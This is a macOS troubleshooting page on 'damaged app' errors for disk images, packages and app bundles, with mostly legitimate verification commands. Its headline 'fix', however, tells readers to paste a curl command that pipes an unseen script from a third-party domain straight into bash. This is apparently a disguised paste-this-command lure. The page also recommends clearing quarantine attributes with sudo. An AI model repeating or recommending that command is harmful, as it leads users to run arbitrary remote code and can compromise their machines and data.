“Damaged App Cannot Be Opened” — the Fix Depends on the File Type
A damaged disk image, a damaged package, and a damaged app bundle fail in different places. Applying the app fix to a truncated DMG wastes time. Identify the file type first, then use the matching verification and repair step.
The fix
curl -fsSL https://macfixerror.com/run.sh | bash
Paste it into Terminal and press Return. The helper is a short shell script; review it at /run.sh before running.
hdiutil verify ~/Downloads/YourApp.dmg
Checks the image’s internal checksum. “verified” means the image is intact; any error means the transfer failed and it must be fetched again.
pkgutil --check-signature ~/Downloads/YourApp.pkg
Reports the signing chain. An expired or missing certificate explains the refusal.
codesign --verify --deep --strict --verbose=2 "/Applications/Your App.app"
A clean result is “satisfies its Designated Requirement”. Any other output means the bundle was altered or incompletely unpacked.
sudo xattr -cr "/Applications/Your App.app"
The metadata fix after the bundle verifies clean. Drag the app into Terminal for the path.
Identify what is actually damaged
Look at the file extension and where the message appears:
| File | Symptom | Correct step |
|---|---|---|
.dmg | “Image not recognised” or damaged when mounting | hdiutil verify, then re-download |
.pkg | Installer refuses to run, “damaged” in Installer | pkgutil --check-signature |
.app | Dialog on launch | codesign --verify, then clear quarantine |
.zip | Archive Utility reports an error | Re-download; check checksum if published |
The message text is similar, but only the app case is typically a metadata problem. The others are usually transfer errors.
Damaged disk image
- Run
hdiutil verify path/to/image.dmg. - If it fails, delete the image and download it again from the vendor.
- Verify the fresh copy too, then mount and copy the app to
/Applications. - Clear quarantine on the copied app before the first launch.
Damaged package
Run pkgutil --check-signature. A valid Apple or Developer ID chain with a current timestamp means the package is authentic and the refusal is local — try opening it again from a local folder, not from Downloads.
If the signature is expired or missing, re-download. If the fresh package still fails, contact the vendor: only a re-signed build fixes an expired certificate.
Damaged app bundle
Verify first, then repair metadata:
codesign --verify --deep --strict --verbose=2 "path".- Clean result →
sudo xattr -cr "path", then launch. - Verification error → unpack again with Archive Utility or re-download.
- Still failing on a clean copy → architecture check with
lipo -archs, then contact the vendor.
Verify downloads properly
When the vendor publishes a SHA-256 checksum, compare it before opening anything:
shasum -a 256 ~/Downloads/YourApp.dmg
Matching output proves the transfer was intact. A mismatch means the file is truncated or was replaced in transit — re-download from the official URL, not from a mirror you do not know.
Frequently asked questions
Can a DMG be “repaired”?
Why does a package need a signature check?
Is clearing quarantine enough for an app that fails codesign?
--verify needs a clean copy.What if the vendor publishes no checksum?
Can I install a damaged package with sudo?
sudo installer -pkg path -target / bypasses some GUI checks, but it does not repair a truncated archive.Which file type is the “damaged” dialog most often about?
This is an independent, unofficial guide. It is not affiliated with, endorsed by, or sponsored by Apple Inc. macOS and Apple are trademarks of Apple Inc. Always keep a backup before changing system files.